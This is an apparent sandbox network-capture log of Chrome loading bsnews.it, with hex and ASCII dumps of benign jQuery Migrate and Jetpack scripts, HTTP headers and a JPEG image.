jQuery.fn.css( "'+e+'", value )')),Q.appl
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 6e 28 65 29 7b 75 28 22 66 78 2d 69 6e 74 65 72 76 61 6c 22 2c 50 29 2c 53 3d 65 7d 7d 29 29 3b 76 61 72 20 4d 3d 73 2e 66 6e 2e 6c 6f 61 64 2c 71 3d 73 2e 65 76 65 6e 74 2e 61 64 64 2c 4f 3d 73 2e 65 76 65 6e 74 2e 66 69 78 3b 73 2e 65 76 65 6e 74 2e 70 72 6f 70 73 3d 5b 5d 2c 73 2e 65 76 65 6e 74 2e 66 69 78 48 6f 6f 6b 73 3d 7b 7d 2c 72 28 73 2e 65 76 65 6e 74 2e 70 72 6f 70 73 2c 22 63 6f 6e 63 61 74 22 2c 73 2e 65 76 65 6e 74 2e 70 72 6f 70 73 2e 63 6f 6e 63 61 74 2c 22 65 76 65 6e 74 2d 6f 6c 64 2d 70 61 74 63 68 22 2c 22 6a 51 75 65 72 79 2e 65 76 65 6e 74 2e 70 72 6f 70 73 2e 63 6f 6e 63 61 74 28 29 20 69 73 20 64 65 70 72 65 63 61 74 65 64 20 61 6e 64 20 72 65 6d 6f 76 65 64 22 29 2c 69 28 73 2e 65 76 65 6e 74 2c 22 66 69 78 22 2c 66 75 6e 63 74 Data Ascii: n(e){u("fx-interval",P),S=e}}));var M=s.fn.load,q=s.event.add,O=s.event.fix;s.event.props=[],s.event.fixHooks={},r(s.event.props,"concat",s.event.props.concat,"event-old-patch","jQuery.event.props.concat() is deprecated and removed"),i(s.event,"fix",funct
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 6f 76 65 72 20 6d 6f 75 73 65 6f 75 74 20 6d 6f 75 73 65 65 6e 74 65 72 20 6d 6f 75 73 65 6c 65 61 76 65 20 63 68 61 6e 67 65 20 73 65 6c 65 63 74 20 73 75 62 6d 69 74 20 6b 65 79 64 6f 77 6e 20 6b 65 79 70 72 65 73 73 20 6b 65 79 75 70 20 63 6f 6e 74 65 78 74 6d 65 6e 75 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 72 29 7b 63 28 73 2e 66 6e 2c 72 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 30 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3f 74 68 69 73 2e 6f 6e 28 72 2c 6e 75 6c 6c 2c 65 2c 74 29 3a 74 68 69 73 2e 74 72 69 67 67 65 72 28 72 29 7d 2c 22 73 68 6f 72 74 68 61 6e 64 2d 64 65 70 72 65 63 61 74 65 64 2d 76 33 22 2c 22 6a 51 75 65 72 79 2e 66 6e 2e 22 2b 72 2b 22 28 29 20 65 76 65 6e 74 20 Data Ascii: over mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,r){c(s.fn,r,function(e,t){return 0<arguments.length?this.on(r,null,e,t):this.trigger(r)},"shorthand-deprecated-v3","jQuery.fn."+r+"() event
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 66 2d 63 6c 6f 73 65 64 2d 74 61 67 73 22 29 7d 2c 69 28 73 2c 22 68 74 6d 6c 50 72 65 66 69 6c 74 65 72 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 2c 72 3b 72 65 74 75 72 6e 28 72 3d 28 74 3d 65 29 2e 72 65 70 6c 61 63 65 28 46 2c 22 3c 24 31 3e 3c 2f 24 32 3e 22 29 29 21 3d 3d 74 26 26 54 28 74 29 21 3d 3d 54 28 72 29 26 26 75 28 22 73 65 6c 66 2d 63 6c 6f 73 65 64 2d 74 61 67 73 22 2c 22 48 54 4d 4c 20 74 61 67 73 20 6d 75 73 74 20 62 65 20 70 72 6f 70 65 72 6c 79 20 6e 65 73 74 65 64 20 61 6e 64 20 63 6c 6f 73 65 64 3a 20 22 2b 74 29 2c 65 2e 72 65 70 6c 61 63 65 28 46 2c 22 3c 24 31 3e 3c 2f 24 32 3e 22 29 7d 2c 22 73 65 6c 66 2d 63 6c 6f 73 65 64 2d 74 61 67 73 22 29 2c 73 2e 6d 69 67 72 61 74 65 44 69 73 61 62 6c 65 50 61 74 63 68 65 Data Ascii: f-closed-tags")},i(s,"htmlPrefilter",function(e){var t,r;return(r=(t=e).replace(F,"<$1></$2>"))!==t&&T(t)!==T(r)&&u("self-closed-tags","HTML tags must be properly nested and closed: "+t),e.replace(F,"<$1></$2>")},"self-closed-tags"),s.migrateDisablePatche

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49760	192.0.77.37	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:00 UTC	564	OUT	GET /p/jetpack/13.2.2/_inc/build/related-posts/related-posts.min.js HTTP/1.1 Host: c0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:00 UTC	533	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:00 GMT Content-Type: application/javascript Content-Length: 5729 Connection: close Vary: Accept-Encoding Last-Modified: Mon, 19 Jun 2023 19:16:27 GMT Alt-Svc: h3=":443"; ma=86400 Expires: Fri, 28 Mar 2025 08:51:00 GMT Cache-Control: max-age=31536000 Alt-Svc: h3=":443"; ma=86400 Strict-Transport-Security: max-age=15552000 X-nc: HIT dca 2 Timing-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-03-28 08:51:00 UTC	836	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 74 3d 7b 72 65 73 70 6f 6e 73 65 3a 6e 75 6c 6c 2c 67 65 74 45 6e 64 70 6f 69 6e 74 55 52 4c 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 73 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 70 26 26 77 70 2e 63 75 73 74 6f 6d 69 7a 65 26 26 77 70 2e 63 75 73 74 6f 6d 69 7a 65 2e 73 65 74 74 69 6e 67 73 26 26 77 70 2e 63 75 73 74 6f 6d 69 7a 65 2e 73 65 74 74 69 6e 67 73 2e 75 72 6c 26 26 77 70 2e 63 75 73 74 6f 6d 69 7a 65 2e 73 65 74 74 69 6e 67 73 2e 75 72 6c 2e 73 65 6c 66 3b 73 3f 28 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 61 22 29 29 2e 68 72 65 66 3d 77 70 2e 63 75 73 74 6f 6d 69 7a 65 2e 73 65 74 Data Ascii: !function(){"use strict";var t={response:null,getEndpointURL:function(t){var e,s="undefined"!=typeof wp&&wp.customize&&wp.customize.settings&&wp.customize.settings.url&&wp.customize.settings.url.self;s?(e=document.createElement("a")).href=wp.customize.set
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 74 61 2d 6f 72 69 67 69 6e 22 2c 74 2e 75 72 6c 5f 6d 65 74 61 2e 6f 72 69 67 69 6e 29 2c 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 70 6f 73 69 74 69 6f 6e 22 2c 74 2e 75 72 6c 5f 6d 65 74 61 2e 70 6f 73 69 74 69 6f 6e 29 2c 22 22 21 3d 3d 74 2e 72 65 6c 26 26 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 72 65 6c 22 2c 74 2e 72 65 6c 29 3b 76 61 72 20 6f 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 6f 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 3b 76 61 72 20 72 3d 6f 2e 69 6e 6e 65 72 48 54 4d 4c 3b 72 65 74 75 72 6e 5b 72 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 72 2e 6c 65 6e 67 74 68 2d 34 29 2c 22 3c 2f 61 3e 22 5d 7d 2c 67 65 6e 65 72 61 74 65 4d 69 6e 69 6d 61 6c 48 74 6d 6c 3a Data Ascii: ta-origin",t.url_meta.origin),a.setAttribute("data-position",t.url_meta.position),""!==t.rel&&a.setAttribute("rel",t.rel);var o=document.createElement("div");o.appendChild(a);var r=o.innerHTML;return[r.substring(0,r.length-4),"</a>"]},generateMinimalHtml:
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 22 27 2b 74 2e 66 6f 72 6d 61 74 2b 27 22 3e 27 2c 74 2e 69 6d 67 2e 73 72 63 29 61 2b 3d 72 5b 30 5d 2b 27 3c 69 6d 67 20 63 6c 61 73 73 3d 22 6a 70 2d 72 65 6c 61 74 65 64 70 6f 73 74 73 2d 70 6f 73 74 2d 69 6d 67 22 20 6c 6f 61 64 69 6e 67 3d 22 6c 61 7a 79 22 20 73 72 63 3d 22 27 2b 74 2e 69 6d 67 2e 73 72 63 2b 27 22 20 77 69 64 74 68 3d 22 27 2b 74 2e 69 6d 67 2e 77 69 64 74 68 2b 27 22 20 68 65 69 67 68 74 3d 22 27 2b 74 2e 69 6d 67 2e 68 65 69 67 68 74 2b 28 74 2e 69 6d 67 2e 73 72 63 73 65 74 3f 27 22 20 73 72 63 73 65 74 3d 22 27 2b 74 2e 69 6d 67 2e 73 72 63 73 65 74 3a 22 22 29 2b 28 74 2e 69 6d 67 2e 73 69 7a 65 73 3f 27 22 20 73 69 7a 65 73 3d 22 27 2b 74 2e 69 6d 67 2e 73 69 7a 65 73 3a 22 22 29 2b 27 22 20 61 6c 74 3d 22 27 2b 74 2e 69 6d Data Ascii: "'+t.format+'">',t.img.src)a+=r[0]+'<img class="jp-relatedposts-post-img" loading="lazy" src="'+t.img.src+'" width="'+t.img.width+'" height="'+t.img.height+(t.img.srcset?'" srcset="'+t.img.srcset:"")+(t.img.sizes?'" sizes="'+t.img.sizes:"")+'" alt="'+t.im
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 75 72 6e 22 2f 22 21 3d 3d 73 5b 30 5d 26 26 28 73 3d 22 2f 22 2b 73 29 2c 22 22 3d 3d 3d 74 2e 73 65 61 72 63 68 3f 73 2b 22 3f 22 2b 65 3a 73 2b 74 2e 73 65 61 72 63 68 2b 22 26 22 2b 65 7d 2c 63 6c 65 61 6e 75 70 54 72 61 63 6b 65 64 55 72 6c 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 68 69 73 74 6f 72 79 2e 72 65 70 6c 61 63 65 53 74 61 74 65 29 7b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 2e 72 65 70 6c 61 63 65 28 2f 5c 62 72 65 6c 61 74 65 64 70 6f 73 74 73 5f 5b 61 2d 7a 5d 2b 3d 5b 30 2d 39 5d 2a 26 3f 5c 62 2f 67 69 2c 22 22 29 3b 22 3f 22 3d 3d 3d 74 26 26 28 74 3d 22 22 29 2c 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 Data Ascii: urn"/"!==s[0]&&(s="/"+s),""===t.search?s+"?"+e:s+t.search+"&"+e},cleanupTrackedUrl:function(){if("function"==typeof history.replaceState){var t=document.location.search.replace(/\brelatedposts_[a-z]+=[0-9]*&?\b/gi,"");"?"===t&&(t=""),document.location.sea
2024-03-28 08:51:00 UTC	786	IN	Data Raw: 70 61 63 6b 5f 72 65 6c 61 74 65 64 70 6f 73 74 73 5b 6c 61 79 6f 75 74 5d 22 29 2e 67 65 74 28 29 29 3a 28 70 3d 73 2e 73 68 6f 77 5f 74 68 75 6d 62 6e 61 69 6c 73 2c 69 2e 73 68 6f 77 44 61 74 65 3d 73 2e 73 68 6f 77 5f 64 61 74 65 2c 69 2e 73 68 6f 77 43 6f 6e 74 65 78 74 3d 73 2e 73 68 6f 77 5f 63 6f 6e 74 65 78 74 2c 69 2e 6c 61 79 6f 75 74 3d 73 2e 6c 61 79 6f 75 74 29 2c 72 3d 70 3f 74 2e 67 65 6e 65 72 61 74 65 56 69 73 75 61 6c 48 74 6d 6c 28 73 2e 69 74 65 6d 73 2c 69 29 3a 74 2e 67 65 6e 65 72 61 74 65 4d 69 6e 69 6d 61 6c 48 74 6d 6c 28 73 2e 69 74 65 6d 73 2c 69 29 3b 76 61 72 20 6e 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 69 66 28 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6e 29 2c 6e 2e 6f Data Ascii: pack_relatedposts[layout]").get()):(p=s.show_thumbnails,i.showDate=s.show_date,i.showContext=s.show_context,i.layout=s.layout),r=p?t.generateVisualHtml(s.items,i):t.generateMinimalHtml(s.items,i);var n=document.createElement("div");if(a.appendChild(n),n.o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49761	172.67.169.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:00 UTC	688	OUT	GET /wp-content/uploads/2017/03/BSNEWS_orizzontale.jpg HTTP/1.1 Host: bsnews.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:00 UTC	703	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:00 GMT Content-Type: image/jpeg Content-Length: 21791 Connection: close last-modified: Mon, 13 Dec 2021 15:34:06 GMT etag: "61b767ee-551f" x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 5715 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DEZ4Z1j%2FtdGWEr0NwV%2FiAh5ACq1UPEO%2BaGHnQ7w4RKq%2FW7lcoBWzJjVOdxqh9ABhdPhhMuXWdKlvN6CjvFluXOzegr%2BVltkRjRpZCdaP6DkWBCGJZKPnLKgYnvI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b66038bf6b0674-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:00 UTC	666	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 ff c2 00 11 08 00 8f 02 44 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 03 01 00 03 01 01 00 00 00 00 00 00 00 00 00 00 07 08 06 03 04 05 02 01 ff c4 00 1b 01 00 02 03 01 01 01 00 00 00 00 00 00 00 00 00 00 00 05 03 04 06 07 02 01 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 aa 49 fc ac fa Data Ascii: JFIFCCD"I
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 9d f1 de d8 12 53 9a 54 b7 47 15 1d 7c 71 63 84 c9 e5 dc e6 8f 39 47 2d 69 00 d9 97 e7 ea b5 a5 e2 cc a1 81 b0 a3 f5 7d 1f e6 9e 98 69 ef 50 b3 d4 cd 95 35 ec 4c d7 c7 c9 c6 9b ae 5c 5d fe 87 7d ff 00 12 42 a3 1e 48 a5 1d 4b ec f8 20 79 f6 7c 01 f6 7e 7e 9f 3d 4b 5a 14 af 6f 62 b6 33 6d 24 a3 b3 9f 9b b7 98 37 52 de 83 41 e5 f5 08 26 9c d5 fa 99 72 e2 cf 92 3f d7 c6 bd 3f 59 ad 3b 67 e3 de 2d 38 28 bd cf 0d 2f 60 a2 1c a9 47 5b 4e 6c bb 95 ad 99 86 ae 8b 08 05 1d b7 e5 77 22 f2 cc a2 e6 56 cd df 33 a6 e1 02 96 c0 00 3d 9f 47 28 7a af ab f8 cb 87 9e 5e 30 f3 65 95 4f 4b 34 d3 3e 71 e8 f8 9e d9 6f 33 0d 75 ea e9 e1 47 53 cc 72 f0 7d 40 eb 6b b9 48 92 ac aa 37 b0 d7 ab 61 05 b1 d2 c3 ee 2f e1 a5 dc e6 8f 38 b1 4d a4 03 66 52 7d 07 3d 7e ab e8 55 8c e1 47 79 Data Ascii: STG\|qc9G-i}iP5L\]}BHK y\|~~=KZob3m$7RA&r??Y;g-8(/`G[Nlw"V3=G(z^0eOK4>qo3uGSr}@kH7a/8MfR}=~UGy
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 57 53 dd 5d 4f 75 75 3d d5 d4 f7 53 3a 9f 62 19 9a 0a 27 77 a4 d6 77 04 5d d3 35 00 b4 9a b9 91 95 75 50 f1 3b 6b 1b 36 33 16 a2 b5 25 97 6b 1e 43 72 9a 53 3e 1d 9e c9 4d f8 a4 fa 5f 6a e9 7d a8 fe 0b 78 51 de 8c 77 09 a1 e1 9d 2f b5 64 98 6d 31 e8 0a b5 ec b5 8d 34 b5 e6 7a 5f 6a e9 7d ab a5 f6 ae 97 da ba 5f 6a e9 7d ab a5 f6 a2 9a 7b 68 d1 dd bf f1 83 a7 6d 10 85 d2 fb 51 cc 0b ca 05 ee 03 06 f3 b1 9d 2f b5 57 4c 29 4a 5d 6d 6c bb 6c 74 1d 72 02 3d 2f b5 74 be d4 5a 1d 83 89 2a 52 b7 5c 23 4f 26 4d b6 26 02 1e 35 2c c6 45 36 af c6 45 39 49 9a 7c 26 4d 0c 60 53 c6 d3 f1 56 9d ab 11 cc 1d 1a f5 2b db be 6d 96 dd 73 bf af 50 1c 82 4e 3f 20 69 16 4a c3 99 f0 ec f6 39 f7 3b 3a dd af 36 7c 3d c0 ca 6f a7 7f cd 2d 4a fa 25 7f b2 0f c2 f5 e5 1f ce db ed d3 a9 Data Ascii: WS]Ouu=S:b'ww]5uP;k63%kCrS>M_j}xQw/dm14z_j}_j}{hmQ/WL)J]mlltr=/tZ*R\#O&M&5,E6E9I\|&M`SV+msPN? iJ9;:6\|=o-J%
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 87 c8 d6 6a 37 cc 29 4a 76 29 0f db 19 87 9f ba 53 fb 45 c5 0b 4d 8f c9 46 d1 10 33 c4 37 bd 97 55 ab f0 6c a1 f2 57 ed 3d af 02 7e da 65 f4 fb be fd 91 59 36 47 cd 8b 2c 2a 3d 64 64 cb 53 63 d6 d9 ca 14 bb a0 4d 8b 29 b9 b1 f7 ca a6 d9 00 05 b4 ec a2 c4 18 ab 18 6d 9e c7 3e e7 6c e7 fa 8d b4 ec e7 88 ce fa 95 f4 4a ff 00 64 1f 84 b5 43 f7 f8 74 e2 77 80 5d 56 cb 6e b9 6a 3c af 18 e2 0f 2b 82 2c ae 6e db f6 cf 67 70 78 ee f8 34 8a 48 c6 56 62 2a e2 c0 bf 7e 8d 39 87 7b c6 d5 6b d8 a6 3d c4 4c d8 26 57 30 04 6e a4 94 5d 49 28 ae d4 72 d5 a1 33 f3 cc 6f a7 41 6b 1a 22 cc 43 54 c8 6d 80 65 33 31 f5 1b 52 06 b9 6f 50 42 a9 9a 97 09 bb 4d 1f 96 79 f4 38 7b 85 67 5e c5 91 46 59 ec 73 ee 76 ce 7f a8 da 1c c7 47 cb 16 45 a2 b0 36 d4 af a2 57 fb 20 fc 24 67 1e 86 Data Ascii: j7)Jv)SEMF37UlW=~eY6G,=ddScM)m>lJdCtw]Vnj<+,ngpx4HVb~9{k=L&W0n]I(r3oAk"CTme31RoPBMy8{g^FYsvGE6W $g
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: e1 1a 5b 33 12 6a 64 ed 22 0a ac c1 49 e4 9a ee 3d c2 34 a6 65 a7 2d 93 b4 b1 39 57 84 d2 cd 0b 5e 92 ee 31 1a 6c 79 96 f0 0a b6 cc 52 2a 51 62 af 83 79 76 1f c4 46 a8 46 96 a3 4b 2a b4 fe 38 a4 56 e1 b0 79 36 e5 1f 70 ce 46 35 0c 46 ac c3 92 79 39 56 1f 7f e5 9f e8 76 a7 11 95 9b 6e 39 61 97 88 e5 78 27 fd 5f 30 db a8 75 39 6d 9d a4 2b f0 10 82 29 4d 95 9d bb c3 4d a9 d5 93 69 e7 31 12 23 70 9a 26 9b ff 00 22 4d 6e 24 65 64 69 51 f7 06 6b d0 de 56 49 da 9f 10 e3 68 79 06 85 95 a4 62 a9 0f 89 3c a6 ba ba bc 06 01 fe e2 e7 bb 3f 99 38 a8 b3 78 a4 8c 95 f4 55 f8 58 b0 87 d4 be 25 f5 14 af 5e 6b c7 12 fa 46 1a a7 4a 7d 04 e3 68 b4 8c 72 4c ef 66 39 26 77 b3 14 28 cf 45 65 69 79 36 1d a2 b2 c7 01 35 7d fa 76 fd c6 0d 3b 62 9c 67 e2 0d 44 92 ca 3e a0 e2 cd c5 Data Ascii: [3jd"I=4e-9W^1lyRQbyvFFK8Vy6pF5Fy9Vvn9ax'_0u9m+)MMi1#p&"Mn$ediQkVIhyb<?8xUX%^kFJ}hrLf9&w(Eeiy65}v;bgD>
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: e7 e7 10 29 13 18 94 db ab 4e 82 3e d2 c4 aa 1c e3 33 3c 8b c8 72 14 fd 4b c8 72 14 fd 4b c8 72 14 fd 4b c8 51 69 f2 21 38 b5 3c 56 5a 58 ab 30 97 35 82 26 8b d2 23 0d d0 a6 e5 96 5a 74 78 96 2a bc 45 cc 8d 90 d9 7a 56 da 39 0a 76 a5 e4 1b 6c 9a 41 36 9e ac 53 a0 35 3d 19 2e 73 f5 18 91 42 98 c9 fa 05 94 5d db 87 10 96 5f d2 56 c3 0c d1 e6 bc 7d 0b 3c 74 0a 6d 29 b8 05 94 7a 57 db bb fe 43 2b 4a c1 45 68 a8 92 0e 43 3a 4c ca cd 3e 24 7f 41 9c 92 35 0a fd e3 39 24 6a 15 fb c6 72 48 d4 2b f7 8c e4 91 a8 57 ef 19 c9 23 50 af de 33 92 46 a1 5f bc 67 24 8d 42 bf 78 ce 49 1a 85 7e f1 9c 92 35 0a fd e3 39 24 6a 15 fb c6 72 48 d4 2b f7 8c e4 91 a8 57 ef 19 c9 23 50 af de 33 92 46 a1 5f bc 67 24 8d 42 bf 78 ce 49 1a 85 7e f1 9c 92 35 0a fd e3 39 24 6a 15 fb c6 72 Data Ascii: )N>3<rKrKrKQi!8<VZX05&#Ztx*EzV9vlA6S5=.sB]_V}<tm)zWC+JEhC:L>$A59$jrH+W#P3F_g$BxI~59$jrH+W#P3F_g$BxI~59$jr
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: fa ac 22 e9 45 2c 26 10 e7 fa 82 85 e4 83 e4 e3 58 ab e5 46 b1 57 ca 8d 62 af 95 1a c5 5f 2a 35 8a be 54 6b 15 7c a8 d6 2a f9 51 33 35 e1 ca 5e 25 05 77 71 7a 62 bc d0 cc ca 30 8a ae ba 80 a1 e2 e3 58 ab e5 43 d3 68 9b 53 e5 a1 5b 85 14 cd 90 dc da a6 d4 c5 fa d1 21 15 8d 62 af 95 07 ff 00 22 af 95 0a 4a b3 29 24 83 69 96 c6 62 52 10 56 56 05 63 58 ab e5 46 b1 57 ca 89 89 56 dd c7 25 95 5d be 45 2a 76 d8 12 90 54 a3 98 24 69 30 1c 9c 73 c0 d0 7d 01 9d 7f b4 70 99 54 c2 b9 5d 54 66 c1 ec 7c 11 c2 90 63 e0 83 8b 42 e5 55 ca d2 a0 b9 2f fc eb 23 d5 14 58 ec fc 46 e5 27 1c 2e 49 a8 dd 4a d5 9c b7 fb 64 39 83 64 97 75 29 cc f3 a9 ff 00 a8 cb bc c9 bc c1 e3 b1 b1 5f bc 35 32 c2 af 36 b1 58 7f d8 3d d0 9e 88 6b ad 6f be d5 21 62 f2 14 28 41 87 65 4f 93 e3 34 ae Data Ascii: "E,&XFWb_5Tk\|Q35^%wqzb0XChS[!b"J)$ibRVVcXFWV%]E*vT$i0s}pT]Tf\|cBU/#XF'.IJd9du)_526X=ko!b(AeO4
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: a3 fb 62 5d f1 f9 8d a5 5b a1 6d 9d 0a 04 43 8d 1d 2d a8 a2 27 26 4f e5 a0 36 3b 73 fd 2c 9b 7f 68 45 07 49 b5 2a 70 d2 5d e1 8b 70 f2 72 18 cd 6d 1f 97 6d e1 fa d3 58 25 0d 2e 59 5c ad 2a 91 59 59 e4 ab f4 bc 9f a8 82 5c 94 2e 20 7a 4c f0 ff 00 7f c4 4a 1f 52 a7 25 76 a5 66 aa 4f 41 86 e6 18 5d f6 96 2a 0d a1 ca e2 26 d2 28 97 40 d3 cc 60 e3 e5 94 a6 c7 e6 b5 c2 4e 55 f9 47 d4 cf 2a 7d 13 d2 23 14 e0 0c ce a0 54 a3 62 87 28 87 fd 83 dd 09 e8 86 ba d6 fb ed 9a f6 51 dd 01 2e 1a 4b 4c 51 0b e6 3b 0d 8f 4a bc 2a 87 13 4e 88 7a 59 e1 e3 5a 55 d3 f7 84 75 ab ef b1 be bd 36 2b a2 25 fa b4 f7 7e 02 fa 94 7d 6d 95 24 d1 0e f8 93 db a3 7d b3 8c 7f 49 c5 0e c8 91 67 68 68 57 a4 e7 87 1c 3a 10 92 a8 5b 87 4a d4 55 12 e3 6b 44 b5 ee 36 4e a2 94 0a 50 70 76 c6 36 99 Data Ascii: b][mC-'&O6;s,hEIp]prmmX%.Y\YY\. zLJR%vfOA]&(@`NUG}#Tb(Q.KLQ;J*NzYZUu6+%~}m$}IghhW:[JUkD6NPpv6
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: a4 65 25 89 76 d4 f3 aa d0 94 c1 5b 94 72 71 ce 3a f9 39 84 3f ec 1e e8 4f 44 35 d6 b7 df 6c d7 b2 8e ec 83 83 dd 3e 25 fc ed f3 2f f7 b5 be bd 36 2b a2 25 fa b4 f7 7e 0e 10 eb d5 69 11 26 f5 6a ab 97 55 d2 33 58 f3 c7 42 10 55 05 47 4a 8d e3 6b 68 27 3b 2b 52 3e bf 5b 67 5f ad 53 8c b8 9e 81 9b 20 29 24 a5 40 d4 11 b2 11 2b 3c a0 d4 e6 80 a3 c5 73 f7 cb c6 cc 2f 3f a2 d8 e3 2a 15 32 fe 6d 88 40 d0 81 66 b0 77 e0 11 ac 1d f8 04 6b 07 7e 01 1a c1 df 80 46 b0 77 e0 11 ac 1d f8 04 78 c9 89 97 7f b8 08 bc c4 a2 2f fa ea e1 2b 7e 55 66 19 f1 bf d5 46 65 41 32 93 a9 58 d8 97 93 f5 11 9a 5d b7 3d 97 7e f1 e6 3f f2 a6 33 b4 d3 3e db 9f 68 06 76 70 91 ea 30 29 be 31 72 8c a5 a1 b4 ed 3d b6 3f ec 1e e8 4f 44 63 29 5b 8a 4a a9 cb 1e 60 df c6 63 cc 1b f8 cc 39 36 a6 Data Ascii: e%v[rq:9?OD5l>%/6+%~i&jU3XBUGJkh';+R>[g_S )$@+<s/?*2m@fwk~Fwx/+~UfFeA2X]=~?3>hvp0)1r=?ODc)[J`c96
